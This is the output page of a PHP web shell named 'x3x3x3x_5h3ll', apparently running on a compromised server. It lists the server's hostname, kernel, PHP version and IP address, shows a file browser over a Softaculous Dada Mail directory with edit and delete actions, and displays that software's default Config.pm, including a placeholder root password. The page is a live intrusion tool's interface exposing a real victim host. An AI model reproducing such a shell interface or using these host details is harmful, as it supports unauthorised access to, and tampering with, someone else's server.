x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/var/softaculous/dada/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
images dir drwxr-xr-x 2024-05-05 09:57 R D
php53 dir drwxr-xr-x 2024-05-05 09:57 R D
php56 dir drwxr-xr-x 2024-05-05 09:57 R D
php71 dir drwxr-xr-x 2024-05-05 09:57 R D
php81 dir drwxr-xr-x 2024-05-05 09:57 R D
php82 dir drwxr-xr-x 2024-05-05 09:57 R D
.dada_config 14.942 KB -rw-r--r-- 2023-11-20 03:31 R E G D
.htaccess 0.77 KB -rw-r--r-- 2022-10-04 10:38 R E G D
Config.pm 60.704 KB -rw-r--r-- 2023-11-20 03:31 R E G D
_dada_mail_config.js 2.247 KB -rw-r--r-- 2022-10-04 10:38 R E G D
config.local.php 9.305 KB -rw-r--r-- 2022-10-04 10:38 R E G D
dada_mail_config.js 2.732 KB -rw-r--r-- 2022-10-04 10:38 R E G D
fileindex.php 0.088 KB -rw-r--r-- 2022-10-04 10:38 R E G D
filemanager.config.json 4.927 KB -rw-r--r-- 2022-10-04 10:38 R E G D
filemanager.php 3.675 KB -rw-r--r-- 2022-10-04 10:38 R E G D
import.php 3.062 KB -rw-r--r-- 2024-05-02 09:57 R E G D
info.xml 3.484 KB -rw-r--r-- 2024-05-02 09:25 R E G D
install.js 0.902 KB -rw-r--r-- 2021-12-23 09:54 R E G D
install.php 8.556 KB -rw-r--r-- 2024-05-02 09:57 R E G D
install.xml 1.718 KB -rw-r--r-- 2021-12-23 09:54 R E G D
md5 6.324 KB -rw-r--r-- 2024-05-02 09:57 R E G D
notes.txt 1.622 KB -rw-r--r-- 2023-11-20 03:31 R E G D
wwwindex.php 0.022 KB -rw-r--r-- 2021-12-23 09:54 R E G D
REQUEST EXIT
package DADA::Config; use v5.10.1; #----------------------------------------------------------------------------# # This file holds default values for the global configuration variables # in Dada Mail. See: # # https://dadamailproject.com/d/global_variables.pod.html # # for more information. # #----------------------------------------------------------------------------# require Exporter; our @ISA = qw(Exporter); use vars qw($PROGRAM_ROOT_PASSWORD $MAILPROG $DIR $FILES $PROGRAM_URL $S_PROGRAM_URL $RUNNING_UNDER $ADDITIONAL_PERLLIBS $PLUGIN_CONFIGS $PLUGINS_ENABLED $MAIL_SETTINGS $MASS_MAIL_SETTINGS $LIST_TYPES $AMAZON_SES_OPTIONS $MAILGUN_OPTIONS $WWW_ENGINE_OPTIONS $FIRST_SUB $SEC_SUB @C $SALT $ENABLE_CSRF_PROTECTION $FILE_CHMOD $DIR_CHMOD $GIVE_PROPS_IN_EMAIL $GIVE_PROPS_IN_HTML $GIVE_PROPS_IN_ADMIN $GIVE_PROPS_IN_SUBSCRIBE_FORM $PROGRAM_IMG_FILENAME $SUBSCRIBED_MESSAGE $ARCHIVES $TEMPLATES $ALTERNATIVE_HTML_TEMPLATE_PATH $TMP $LOGS $BACKUPS %BACKUP_HISTORY $ENFORCE_CLOSED_LOOP_OPT_IN $SUPPORT_FILES $WYSIWYG_EDITOR_OPTIONS $FILE_BROWSER_OPTIONS $SCHEDULED_JOBS_OPTIONS $SCREEN_CACHE $DATA_CACHE $GLOBAL_BLACK_LIST $GLOBAL_UNSUBSCRIBE $HIDDEN_SUBSCRIBER_FIELDS_PREFIX @PING_URLS $CONFIRMATION_TOKEN_OPTIONS $SUBSCRIPTION_SUCCESSFUL_COPY $PIN_WORD $PIN_NUM $TEXT_CSV_PARAMS $ALLOW_ROOT_LOGIN @CHARSETS @CONTENT_TYPES %LIST_SETUP_DEFAULTS %LIST_SETUP_INCLUDE %LIST_SETUP_OVERRIDES @LIST_SETUP_DONT_CLONE %PRIORITIES $ATTACHMENT_TEMPFILE $MAIL_VERP_SEPARATOR %MIME_TYPES $DEFAULT_MIME_TYPE $MIME_PARANOID $MIME_HUSH $MIME_OPTIMIZE $MIME_TOOLS_PARAMS $NPH $PROGRAM_USAGE_LOG $ROOT_PASS_IS_ENCRYPTED $SHOW_ADMIN_LINK $LIST_PASSWORD_RESET $ADMIN_FLAVOR_NAME $SIGN_IN_FLAVOR_NAME $DISABLE_OUTSIDE_LOGINS %LOG $DEBUG_TRACE %CPAN_DEBUG_SETTINGS $ADMIN_MENU $EMAIL_CASE @EMAIL_EXCEPTIONS $LIST_IN_ORDER $ADMIN_TEMPLATE $USER_TEMPLATE $BACKEND_DB_TYPE $SUBSCRIBER_DB_TYPE $ARCHIVE_DB_TYPE $SETTINGS_DB_TYPE $SESSION_DB_TYPE $BOUNCE_SCORECARD_DB_TYPE $CLICKTHROUGH_DB_TYPE %SQL_PARAMS $DBI_PARAMS $PROFILE_OPTIONS $PII_OPTIONS $GLOBAL_API_OPTIONS $PLUGIN_RUNMODES $PROGRAM_ERROR_LOG $SHOW_HELP_LINKS $HELP_LINKS_URL $VER $VERSION $PROGRAM_NAME @CONTENT_TRANSFER_ENCODINGS $CONFIG_FILE $PROGRAM_CONFIG_FILE_DIR $OS $DEFAULT_ADMIN_SCREEN $DEFAULT_LOGOUT_SCREEN $DEFAULT_SCREEN $HTML_CHARSET $SEND_ARCHIVED_MESSAGE $CAPTCHA_TYPE $GOOGLE_MAPS_PARAMS $RECAPTCHA_PARAMS $RECAPTHCA_MAILHIDE_PARAMS $LOGIN_COOKIE_NAME %COOKIE_PARAMS $CP_SESSION_PARAMS $GOOGLE_MAPS_API_PARAMS $RATE_LIMITING $HTML_TEXTTOHTML_OPTIONS $HTML_SCRUBBER_OPTIONS $TEMPLATE_SETTINGS $TEMPLATE_OPTIONS $LOGIN_WIDGET $NULL_DEVICE $LIST_QUOTA $SUBSCRIPTION_QUOTA $MAILOUT_AT_ONCE_LIMIT $MAILOUT_STALE_AFTER %EMAIL_HEADERS @EMAIL_HEADERS_ORDER $LIST_HEADERS); @EXPORT_OK = qw($PROGRAM_ROOT_PASSWORD $MAILPROG $DIR $FILES $PROGRAM_URL $S_PROGRAM_URL $RUNNING_UNDER $ADDITIONAL_PERLLIBS $PLUGIN_CONFIGS $PLUGINS_ENABLED $MAIL_SETTINGS $MASS_MAIL_SETTINGS $LIST_TYPES $AMAZON_SES_OPTIONS $MAILGUN_OPTIONS $WWW_ENGINE_OPTIONS $FIRST_SUB $SEC_SUB @C $SALT $ENABLE_CSRF_PROTECTION $FILE_CHMOD $DIR_CHMOD $GIVE_PROPS_IN_EMAIL $GIVE_PROPS_IN_HTML $GIVE_PROPS_IN_ADMIN $GIVE_PROPS_IN_SUBSCRIBE_FORM $PROGRAM_IMG_FILENAME $SUBSCRIBED_MESSAGE $ARCHIVES $TEMPLATES $ALTERNATIVE_HTML_TEMPLATE_PATH $TMP $LOGS $BACKUPS %BACKUP_HISTORY $ENFORCE_CLOSED_LOOP_OPT_IN $SUPPORT_FILES $WYSIWYG_EDITOR_OPTIONS $FILE_BROWSER_OPTIONS $SCHEDULED_JOBS_OPTIONS $SCREEN_CACHE $DATA_CACHE $GLOBAL_BLACK_LIST $GLOBAL_UNSUBSCRIBE $HIDDEN_SUBSCRIBER_FIELDS_PREFIX @PING_URLS $CONFIRMATION_TOKEN_OPTIONS $SUBSCRIPTION_SUCCESSFUL_COPY $PIN_WORD $PIN_NUM $TEXT_CSV_PARAMS $ALLOW_ROOT_LOGIN @CHARSETS @CONTENT_TYPES %LIST_SETUP_DEFAULTS %LIST_SETUP_INCLUDE %LIST_SETUP_OVERRIDES @LIST_SETUP_DONT_CLONE %PRIORITIES $ATTACHMENT_TEMPFILE $MAIL_VERP_SEPARATOR %MIME_TYPES $DEFAULT_MIME_TYPE $MIME_PARANOID $MIME_HUSH $MIME_OPTIMIZE $MIME_TOOLS_PARAMS $NPH $PROGRAM_USAGE_LOG $ROOT_PASS_IS_ENCRYPTED $SHOW_ADMIN_LINK $LIST_PASSWORD_RESET $ADMIN_FLAVOR_NAME $SIGN_IN_FLAVOR_NAME $DISABLE_OUTSIDE_LOGINS %LOG $DEBUG_TRACE %CPAN_DEBUG_SETTINGS $ADMIN_MENU $EMAIL_CASE @EMAIL_EXCEPTIONS $LIST_IN_ORDER $ADMIN_TEMPLATE $USER_TEMPLATE $BACKEND_DB_TYPE $SUBSCRIBER_DB_TYPE $ARCHIVE_DB_TYPE $SETTINGS_DB_TYPE $SESSION_DB_TYPE $BOUNCE_SCORECARD_DB_TYPE $CLICKTHROUGH_DB_TYPE %SQL_PARAMS $DBI_PARAMS $PROFILE_OPTIONS $PII_OPTIONS $GLOBAL_API_OPTIONS $PLUGIN_RUNMODES $PROGRAM_ERROR_LOG $SHOW_HELP_LINKS $HELP_LINKS_URL $VER $VERSION $PROGRAM_NAME @CONTENT_TRANSFER_ENCODINGS $CONFIG_FILE $PROGRAM_CONFIG_FILE_DIR $OS $DEFAULT_ADMIN_SCREEN $DEFAULT_LOGOUT_SCREEN $DEFAULT_SCREEN $HTML_CHARSET $SEND_ARCHIVED_MESSAGE $CAPTCHA_TYPE $GOOGLE_MAPS_PARAMS $RECAPTCHA_PARAMS $RECAPTHCA_MAILHIDE_PARAMS $LOGIN_COOKIE_NAME %COOKIE_PARAMS $CP_SESSION_PARAMS GOOGLE_MAPS_API_PARAMS $RATE_LIMITING $HTML_TEXTTOHTML_OPTIONS $HTML_SCRUBBER_OPTIONS $TEMPLATE_SETTINGS $TEMPLATE_OPTIONS $LOGIN_WIDGET $NULL_DEVICE $LIST_QUOTA $SUBSCRIPTION_QUOTA $MAILOUT_AT_ONCE_LIMIT $MAILOUT_STALE_AFTER %EMAIL_HEADERS @EMAIL_HEADERS_ORDER $LIST_HEADERS); # # # # $PROGRAM_CONFIG_FILE_DIR = '[[softdatadir]]/.dada_files/.configs'; # # # # # #--------------------------------# # Leave the below line, alone! _config_import(); # Leave alone! # Leave the above line, alone! #--------------------------------# BEGIN { # # # # # $PROGRAM_ERROR_LOG = '[[softdatadir]]/.dada_files/.logs/errors.txt'; # # # # # # Keep this next bit as-is; it's just opening the error file for writing. if ( $PROGRAM_ERROR_LOG && (!$ENV{NO_DADA_MAIL_CONFIG_IMPORT}) ) { open( STDERR, ">>$PROGRAM_ERROR_LOG" ) || warn "$PROGRAM_NAME Error: Cannot redirect STDERR, it's possible that Dada Mail does not have write permissions to this file ($PROGRAM_ERROR_LOG) or it doesn't exist! If Dada Mail cannot make this file for you, create it yourself and give it enough permissions so it may write to it: $!"; } # chmod(0777, $PROGRAM_ERROR_LOG); } $PROGRAM_ROOT_PASSWORD //= 'root_password'; $ROOT_PASS_IS_ENCRYPTED //= 0; ($DIR) //= $PROGRAM_CONFIG_FILE_DIR =~ m/^(.*?)\/\.configs$/; $ARCHIVES //= $DIR . '/.archives'; $BACKUPS //= $DIR . '/.backups'; $FILES //= $DIR . '/.lists'; $LOGS //= $DIR . '/.logs'; $PROGRAM_USAGE_LOG //= $LOGS . '/dada.txt'; $TEMPLATES //= $DIR . '/.templates'; $TMP //= $DIR . '/.tmp'; $PROGRAM_URL //= 'https://www.changetoyoursite.com/cgi-bin/dada/mail.cgi'; $S_PROGRAM_URL //= $PROGRAM_URL; $RUNNING_UNDER //= 'CGI'; $ADDITIONAL_PERLLIBS //= [qw()]; $SUPPORT_FILES //= { dir => '', url => '', }; $WYSIWYG_EDITOR_OPTIONS //= { ckeditor => { enabled => 0, url => '', }, tiny_mce => { enabled => 0, url => '', }, }; $FILE_BROWSER_OPTIONS //= { rich_filemanager => { enabled => 0, url => '', upload_dir => '', upload_url => '', connector => 'php', session_name => 'PHPSESSID', session_dir => '', }, core5_filemanager => { enabled => 0, url => '', upload_dir => '', upload_url => '', connector => '', }, none => { enabled => 1, } }; $SCHEDULED_JOBS_OPTIONS //= { # enabled => 1, scheduled_jobs_flavor => '_schedules', log => 0, run_at_teardown => 1, }; $BACKEND_DB_TYPE //= 'SQL'; $SUBSCRIBER_DB_TYPE //= 'SQL'; $ARCHIVE_DB_TYPE //= 'SQL'; $SETTINGS_DB_TYPE //= 'SQL'; $SESSION_DB_TYPE = undef; #noop $BOUNCE_SCORECARD_DB_TYPE //= 'SQL'; $CLICKTHROUGH_DB_TYPE //= 'SQL'; %SQL_PARAMS = ( # May just be, "localhost" dbserver => 'localhost', database => '', # MySQL: 3306 # PostgreSQL: 5432 port => '3306', # MySQL: mysql # PostgreSQL: Pg # SQLite: SQLite dbtype => 'mysql', user => '', pass => '', ) unless keys %SQL_PARAMS; $DBI_PARAMS //= { InactiveDestroy => 0, pg_server_prepare => 0, mysql_auto_reconnect => 1, # this only works if you have autocommit => 1 ? (or is it, AutoCommit) # This would probably be fine, since we don't commit, anyways, but # will be problematic, if we ever put in transaction support. Hmm... # But wait, there's more : #TRANSACTION SUPPORT ^ # #Beginning with DBD::mysql 2.0416, transactions are supported. The transaction support works as follows: # # * By default AutoCommit mode is on, following the DBI specifications. dada_connection_method => 'connect_cached', # UTF-8 # MySQL specific attribute: # mysql_enable_utf8 => 1, # # You will also need to ensure that your database / table / column is # configured to use UTF8. See Chapter 10 of the mysql manual for details. # DBD::Pg specific attribute. If true, then the utf8 flag will be turned on # for returned character data (if the data is valid UTF-8). For details # about the utf8 flag, see the Encode module. This attribute is only # relevant under perl 5.8 and later. # pg_enable_utf8 => 1, # SQLite # If set to a true value, DBD::SQLite will turn the UTF-8 flag on for all # text strings coming out of the database (this feature is currently # disabled for perl < 5.8.5). For more details on the UTF-8 flag see # perlunicode. The default is for the UTF-8 flag to be turned off. # sqlite_unicode => 1, AutoInactiveDestroy => 1, }; $PROFILE_OPTIONS //= { enabled => 1, profile_email => '', enable_captcha => 1, update_email_options => { send_notification_to_profile_email => 0, subscription_check_skip => 'auto', }, gravatar_options => { enable_gravators => 1, default_gravatar_url => undef, }, features => { register => 0, password_reset => 1, profile_fields => 0, mailing_list_subscriptions => 1, protected_directories => 0, update_email_address => 0, change_password => 1, delete_profile => 0, }, cookie_params => { -name => 'dada_profile', -path => '/', -expires => '+1y', -SameSite => 'Lax', }, }; $PII_OPTIONS //= { allow_logging_emails_in_analytics => 0, ip_address_logging_style => 'anonymized', }; $GLOBAL_API_OPTIONS //= { enabled => 0, public_key => undef, private_key => undef, }; $PLUGIN_RUNMODES //= { boilerplate_plugin => {run => \&boilerplate_plugin::run}, tracker => {run => \&tracker::run}, bounce_handler => {run => \&bounce_handler::run, sched_run => \&bounce_handler::scheduled_task}, bridge => {run => \&bridge::run, sched_run => \&bridge::scheduled_task}, change_root_password => {run => \&change_root_password::run}, change_list_shortname => {run => \&change_list_shortname::run}, password_protect_directories => {run => \&password_protect_directories::run, sched_run => \&password_protect_directories::scheduled_task}, log_viewer => {run => \&log_viewer::run}, screen_cache => {run => \&screen_cache::run}, global_config => {run => \&global_config::run}, view_list_settings => {run => \&view_list_settings::run}, usage_log_to_consent_activity => {run => \&usage_log_to_consent_activity::run}, }; $PLUGINS_ENABLED //= { boilerplate_plugin => 0, tracker => 0, bounce_handler => 0, bridge => 0, change_root_password => 0, change_list_shortname => 0, password_protect_directories => 0, log_viewer => 0, screen_cache => 0, global_config => 0, view_list_settings => 0, usage_log_to_consent_activity => 0, }; $PLUGIN_CONFIGS //= { Bounce_Handler => { Server => undef, Address => undef, Username => undef, Password => undef, Port => undef, USESSL => undef, starttls => undef, SSL_verify_mode => undef, AUTH_MODE => undef, Plugin_Name => undef, Plugin_URL => undef, Allow_Manual_Run => undef, Manual_Run_Passcode => undef, Enable_POP3_File_Locking => undef, Log => undef, MessagesAtOnce => undef, Max_Size_Of_Any_Message => undef, Rules => undef, }, Bridge => { Plugin_Name => undef, Plugin_URL => undef, Allow_Manual_Run => undef, Manual_Run_Passcode => undef, MessagesAtOnce => undef, Room_For_One_More_Check => undef, Enable_POP3_File_Locking => undef, Check_List_Owner_Return_Path_Header => undef, Check_Multiple_Return_Path_Headers => undef, }, Tracker => { Plugin_Name => undef, Plugin_URL => undef, Geo_IP_Db => undef, }, Mailing_Monitor => { Plugin_Name => undef, Plugin_URL => undef, Allow_Manual_Run => undef, Manual_Run_Passcode => undef, }, log_viewer => { Plugin_URL => undef, tail_command => undef, }, default_mass_mailing_messages => { Plugin_Name => undef, Plugin_URL => undef, }, password_protect_directories => { Plugin_Name => undef, Plugin_URL => undef, Allow_Manual_Run => undef, Manual_Run_Passcode => undef, Base_Absolute_Path => undef, Base_URL => undef, }, blog_index => { Default_List => undef, Entries => undef, Style => undef, Allow_QS_Overrides => undef, }, multiple_subscribe => { Plugin_Name => undef, Plugin_URL => undef, }, Global_Config => { Plugin_Name => undef, }, }; $MAILPROG //= '/usr/sbin/sendmail'; $MAIL_SETTINGS //= "|$MAILPROG -t"; $MASS_MAIL_SETTINGS //= "|$MAILPROG -t"; $LIST_TYPES //= { list => 'Subscribers', black_list => 'Black Listed', white_list => 'White Listed', authorized_senders => 'Authorized Senders', moderators => 'Moderators', requires_moderation => 'Requires Moderation', sub_request_list => 'Subscription Requests', unsub_request_list => 'Unsubscription Requests', bounced_list => 'Bouncing Addresses', ignore_bounces_list => 'Ignore Bounces', sub_confirm_list => 'Unconfirmed Subscribers', unsub_confirm_list => 'Unconfirmed Removals', invite_list => 'Invitees', invited_list => 'Invited', test_list => 'Testers', }; $AMAZON_SES_OPTIONS //= { AWS_endpoint => undef, AWSAccessKeyId => undef, AWSSecretKey => undef, Allowed_Sending_Quota_Percentage => 90, }; $MAILGUN_OPTIONS //= { region => 'us', api_key => undef, domain => undef, }; $MANDRILL_OPTIONS = undef; $WWW_ENGINE_OPTIONS //= { engine => 'LWP', # curl user_agent => 'Mozilla/5.0 (compatible; ' . $PROGRAM_NAME . ')', # 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0' verify_hostname => 1, }; $SHOW_ADMIN_LINK //= 1; $LIST_PASSWORD_RESET //= 1; $ADMIN_FLAVOR_NAME //= 'admin'; $SIGN_IN_FLAVOR_NAME //= 'sign_in'; $DEFAULT_SCREEN //= ''; $DEFAULT_ADMIN_SCREEN //= $S_PROGRAM_URL . '?flavor=drafts'; $DEFAULT_LOGOUT_SCREEN //= $S_PROGRAM_URL . '?flavor=' . $ADMIN_FLAVOR_NAME . '&logged_out=1'; $DISABLE_OUTSIDE_LOGINS //= 1; $LOGIN_WIDGET //= 'popup_menu'; $ALLOW_ROOT_LOGIN //= 1; $LOGIN_COOKIE_NAME //= 'dadalogin'; %COOKIE_PARAMS = ( -path => '/', -expires => '+7d', -samesite => 'Lax', ) unless keys %COOKIE_PARAMS; $CP_SESSION_PARAMS //= { check_matching_ip_addresses => 1, }; $RATE_LIMITING //= { enabled => 1, max_hits => 10, timeframe => 5, }; $GOOGLE_MAPS_API_PARAMS //= { api_key => '', }; $CAPTCHA_TYPE = undef; # noop # $RECAPTCHA_PARAMS //= { recaptcha_type => 'v2', on_subscribe_form => 1, v2 => { public_key => undef, private_key => undef, }, v3 => { public_key => undef, private_key => undef, hide_badge => 1, }, }; # NOOP $RECAPTHCA_MAILHIDE_PARAMS //= {}; $SHOW_HELP_LINKS //= 1; $HELP_LINKS_URL //= 'https://dadamailproject.com/pro_dada/11.0.0'; $NPH //= 0; %LOG = ( subscriptions => 0, mailings => 0, mass_mailings => 1, mass_mailing_batches => 1, logins => 1, list_lives => 1, ) unless keys %LOG; $DEBUG_TRACE //= { DADA_App_BounceHandler => 0, DADA_App_DBIHandle => 0, DADA_App_Digests => 0, DADA_App_FormatMessages => 0, DADA_App_HTMLtoMIMEMessage => 0, DADA_App_Subscriptions => 0, DADA_App_WebServices => 0, DADA_Template_HTML => 0, DADA_Logging_Clickthrough => 0, DADA_Mail_MailOut => 0, DADA_Mail_Send => 0, DADA_MailingList => 0, DADA_MailingList_Archives => 0, DADA_MailingList_MessageDrafts => 0, DADA_MailingList_Settings => 0, DADA_Profile => 0, DADA_Profile_Fields => 0, DADA_Profile_Session => 0, }; %CPAN_DEBUG_SETTINGS = ( # DBI, handles all SQL database calls. # More Information: # https://search.cpan.org/~timb/DBI/DBI.pm#TRACING # As noted in these docs, you can set the trace level as far 15 DBI => 0, # HTML::Template, used for generating HTML screens # More information: # https://search.cpan.org/~samtregar/HTML-Template/Template.pm HTML_TEMPLATE => 0, # Net::POP3, used for checking awaiting messages on a POP3 Server # More Information: # https://search.cpan.org/~gbarr/libnet/Net/POP3.pm NET_POP3 => 0, # Net::SMTP, used for sending messages via SMTP: # more information: # https://search.cpan.org/~gbarr/libnet/Net/SMTP.pm NET_SMTP => 0, ) unless keys %CPAN_DEBUG_SETTINGS; $ADMIN_TEMPLATE = undef; #noop $USER_TEMPLATE = undef; #noop $ALTERNATIVE_HTML_TEMPLATE_PATH //= undef; $TEMPLATE_SETTINGS //= { engine => 'Best', }; $TEMPLATE_OPTIONS //= { user => { enabled => 0, mode => undef, manual_options => { template_url => undef, }, magic_options => { template_url => undef, add_base_href => 0, base_href_url => undef, replace_content_from => undef, replace_id => undef, replace_class => undef, add_app_css => 0, add_custom_css => 0, custom_css_url => undef, include_jquery_lib => 1, include_app_user_js => 1, head_content_added_by => 'push', } }, }; # Mostly a noop these days... %BACKUP_HISTORY = ( settings => 3, archives => 3, schedules => 3, ) unless keys %BACKUP_HISTORY; $ENFORCE_CLOSED_LOOP_OPT_IN //= 0; $GLOBAL_BLACK_LIST //= 0; $GLOBAL_UNSUBSCRIBE //= 0; $HIDDEN_SUBSCRIBER_FIELDS_PREFIX //= '_'; $SCREEN_CACHE //= 1; $DATA_CACHE //= 1; @PING_URLS = qw( https://rpc.pingomatic.com/ ) unless scalar @PING_URLS; $CONFIRMATION_TOKEN_OPTIONS //= { expires => 60, }; # If you do put the $ADMIN_MENU variable in the outside config file, # make sure to also! put the below line (uncommented): # # $S_PROGRAM_URL = $PROGRAM_URL # # Before the $ADMIN_URL variable, as well as the below 5 lines of code: $S_PROGRAM_URL = $PROGRAM_URL; my $EXT_URL = $S_PROGRAM_URL; $EXT_URL =~ s/\/(\w+)\.(cgi|pl)$/\//; $EXT_URL .= 'extensions'; $ADMIN_MENU //= [ {-Title => 'Mass Mailing', -Activated => 1, -Submenu => [ { -Title => 'All Drafts/Stationery/Schedules', -Title_URL => "$S_PROGRAM_URL?flavor=drafts", -Function => 'drafts', -Activated => 1, }, { -Title => '+ New Draft Message', -Title_URL => "$S_PROGRAM_URL?flavor=send_email&draft_role=draft", -Function => 'send_email', -Activated => 1, }, { -Title => 'Monitor', -Title_URL => "$S_PROGRAM_URL?flavor=sending_monitor", -Function => 'sending_monitor', -Activated => 1, }, { -Title => 'Options', -Title_URL => "$S_PROGRAM_URL?flavor=mass_mailing_options", -Function => 'mass_mailing_options', -Activated => 1, }, ] }, {-Title => 'Mailing List', -Activated => 1, -Submenu => [ { -Title => 'List Information', -Title_URL => "$S_PROGRAM_URL?flavor=change_info", -Function => 'change_info', -Activated => 1, }, { -Title => 'Privacy Policy', -Title_URL => "$S_PROGRAM_URL?flavor=manage_privacy_policy", -Function => 'manage_privacy_policy', -Activated => 0, }, { -Title => 'List Consents', -Title_URL => "$S_PROGRAM_URL?flavor=manage_list_consent", -Function => 'manage_list_consent', -Activated => 0, }, { -Title => 'List Password', -Title_URL => "$S_PROGRAM_URL?flavor=change_password", -Function => 'change_password', -Activated => 1, }, { -Title => 'Options', -Title_URL => "$S_PROGRAM_URL?flavor=list_options", -Function => 'list_options', -Activated => 1, }, { -Title => 'Web Services API', -Title_URL => "$S_PROGRAM_URL?flavor=web_services", -Function => 'web_services', -Activated => 1, }, { -Title => 'Delete This Mailing List', -Title_URL => "$S_PROGRAM_URL?flavor=delete_list", -Function => 'delete_list', -Activated => 0, }, ] }, {-Title => 'Membership', -Activated => 1, -Submenu => [ { -Title => 'View', -Title_URL => "$S_PROGRAM_URL?flavor=view_list", -Function => 'view_list', -Activated => 1, }, { -Title => 'Recent Activity', -Title_URL => "$S_PROGRAM_URL?flavor=list_activity", -Function => 'list_activity', -Activated => 1, }, { -Title => 'Invite!-- tmpl_if list_settings.enable_mass_subscribe --/Subscribe!-- /tmpl_if --/Add', -Title_URL => "$S_PROGRAM_URL?flavor=add", -Function => 'add', -Activated => 1, }, { -Title => 'Remove', -Title_URL => "$S_PROGRAM_URL?flavor=delete_email", -Function => 'delete_email', -Activated => 1, }, { -Title => 'Options', -Title_URL => "$S_PROGRAM_URL?flavor=subscription_options", -Function => 'subscription_options', -Activated => 0, }, ] }, { -Title => 'Sending', -Activated => 1, -Submenu => [ { -Title => 'Options', -Title_URL => "$S_PROGRAM_URL?flavor=mail_sending_options", -Function => 'mail_sending_options', -Activated => 1, }, { -Title => 'Advanced Options', -Title_URL => "$S_PROGRAM_URL?flavor=mail_sending_advanced_options", -Function => 'mail_sending_advanced_options', -Activated => 1, }, { -Title => 'Mass Mailing Options', -Title_URL => "$S_PROGRAM_URL?flavor=mailing_sending_mass_mailing_options", -Function => 'mailing_sending_mass_mailing_options', -Activated => 1, }, ] }, {-Title => 'Archives', -Activated => 1, -Submenu => [ { -Title => 'View', -Title_URL => "$S_PROGRAM_URL?flavor=view_archive", -Function => 'view_archive', -Activated => 1, }, { -Title => 'Options', -Title_URL => "$S_PROGRAM_URL?flavor=archive_options", -Function => 'archive_options', -Activated => 1, }, { -Title => 'Advanced Options', -Title_URL => "$S_PROGRAM_URL?flavor=adv_archive_options", -Function => 'adv_archive_options', -Activated => 1, }, ] }, {-Title => 'Appearance', -Activated => 1, -Submenu => [ { -Title => 'Your Mailing List Template', -Title_URL => "$S_PROGRAM_URL?flavor=edit_template", -Function => 'edit_template', -Activated => 1, }, { -Title => 'Email Themes', -Title_URL => "$S_PROGRAM_URL?flavor=email_themes", -Function => 'email_themes', -Activated => 1, }, { -Title => 'Custom Mass Mailing Layout', -Title_URL => "$S_PROGRAM_URL?flavor=edit_type", -Function => 'edit_type', -Activated => 1, }, { -Title => 'HTML Screen Templates', -Title_URL => "$S_PROGRAM_URL?flavor=edit_html_type", -Function => 'edit_html_type', -Activated => 1, }, { -Title => 'Subscription Form HTML', -Title_URL => "$S_PROGRAM_URL?flavor=html_code", -Function => 'html_code', -Activated => 1, }, { -Title => 'Create a Back Link', -Title_URL => "$S_PROGRAM_URL?flavor=back_link", -Function => 'back_link', -Activated => 1, }, ] }, { -Title => 'Profiles', -Activated => 1, -Submenu => [ { -Title => 'Profile Fields', -Title_URL => "$S_PROGRAM_URL?flavor=profile_fields", -Function => 'profile_fields', -Activated => 1, }, ] }, { -Title => 'Plugins/Extensions', -Activated => 1, -Submenu => [ # # These are plugins. Make sure you install them # # if you want to use them! # { # -Title => 'Tracker', # -Title_URL => $S_PROGRAM_URL."/plugins/tracker", # -Function => 'tracker', # -Activated => 1, # }, # { # -Title => 'Bounce Handler', # -Title_URL => $S_PROGRAM_URL."/plugins/bounce_handler", # -Function => 'bounce_handler', # -Activated => 1, # }, # { # -Title => 'Bridge', # -Title_URL => $S_PROGRAM_URL."/plugins/bridge", # -Function => 'bridge', # -Activated => 1, # }, # { # -Title => 'Change the Program Root Password', # -Title_URL => $S_PROGRAM_URL."/plugins/change_root_password", # -Function => 'change_root_password', # -Activated => 0, # }, # { # -Title => 'Change Your List Short Name', # -Title_URL => $S_PROGRAM_URL."/plugins/change_list_shortname", # -Function => 'change_list_shortname', # -Activated => 0, # }, # { # -Title => 'Password Protect Directories', # -Title_URL => $S_PROGRAM_URL."/plugins/password_protect_directories", # -Function => 'password_protect_directories', # -Activated => 1, # }, # { # -Title => 'View Logs', # -Title_URL => $S_PROGRAM_URL."/plugins/log_viewer", # -Function => 'log_viewer', # -Activated => 1, # }, # { # -Title => 'Screen Cache', # -Title_URL => $S_PROGRAM_URL."/plugins/screen_cache", # -Function => 'screen_cache', # -Activated => 0, # }, # { # -Title => 'Global Configuration', # -Title_URL => $S_PROGRAM_URL."/plugins/global_config", # -Function => 'global_config', # -Activated => 0, # }, # { # -Title => 'Boilerplate Example', # -Title_URL => $S_PROGRAM_URL."/plugins/boilerplate_plugin", # -Function => 'boilerplate', # -Activated => 1, # }, # { # -Title => 'View List Settings', # -Title_URL => $S_PROGRAM_URL."/plugins/view_list_settings", # -Function => 'view_list_settings', # -Activated => 1, # }, # { # -Title => 'usage_log_to_consent_activity', # -Title_URL => $S_PROGRAM_URL."/plugins/usage_log_to_consent_activity", # -Function => 'usage_log_to_consent_activity', # -Activated => 0, # }, # { # -Title => 'Multiple Subscribe', # -Title_URL => $EXT_URL."/multiple_subscribe.cgi", # -Function => 'multiple_subscribe', # -Activated => 1, # }, # { # -Title => 'Archive Blog Index', # -Title_URL => $EXT_URL."/blog_index.cgi?mode=html&list=!-- tmpl_var list_settings.list --", # -Function => 'blog_index', # -Activated => 1, # }, ], }, { -Title => ' Control Panel Settings', -Activated => 0, -Submenu => [ { -Title => 'Enable/Disable Features', -Title_URL => "$S_PROGRAM_URL?flavor=feature_set", -Function => 'feature_set', -Activated => 0, }, { -Title => 'Scheduled Jobs', -Title_URL => "$S_PROGRAM_URL?flavor=scheduled_jobs", -Function => 'scheduled_jobs', -Activated => 1, }, { -Title => 'App Configuration', -Title_URL => "$S_PROGRAM_URL?flavor=setup_info", -Function => 'setup_info', -Activated => 1, }, { -Title => 'About Dada Mail', -Title_URL => "$S_PROGRAM_URL?flavor=manage_script", -Function => 'manage_script', -Activated => 1, }, ], }, ]; $LIST_QUOTA //= 3; $SUBSCRIPTION_QUOTA //= 100; $MAILOUT_AT_ONCE_LIMIT //= 1; $MAILOUT_STALE_AFTER //= 86400; $EMAIL_CASE //= 'lc_all'; @EMAIL_EXCEPTIONS = qw() unless scalar @EMAIL_EXCEPTIONS; $LIST_IN_ORDER //= 0; 